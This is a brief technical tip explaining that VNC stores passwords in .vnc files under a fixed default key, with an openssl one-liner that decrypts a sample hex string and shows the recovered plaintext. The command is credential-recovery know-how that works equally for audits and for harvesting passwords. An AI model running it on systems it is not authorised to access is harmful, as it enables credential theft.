Decrypt passwords stored in VNC files

VNC stores passwords as a hex string in .vnc files using a default encryption key. The following openssl one-liner can be used to decrypt the string:

Assume the string from the .vnc file is d7a514d8c556aade

echo -n d7a514d8c556aade | xxd -r -p | openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d -provider legacy -provider default | hexdump -Cv

The output will look like this:

00000000  53 65 63 75 72 65 21 00                           |Secure!.|
00000008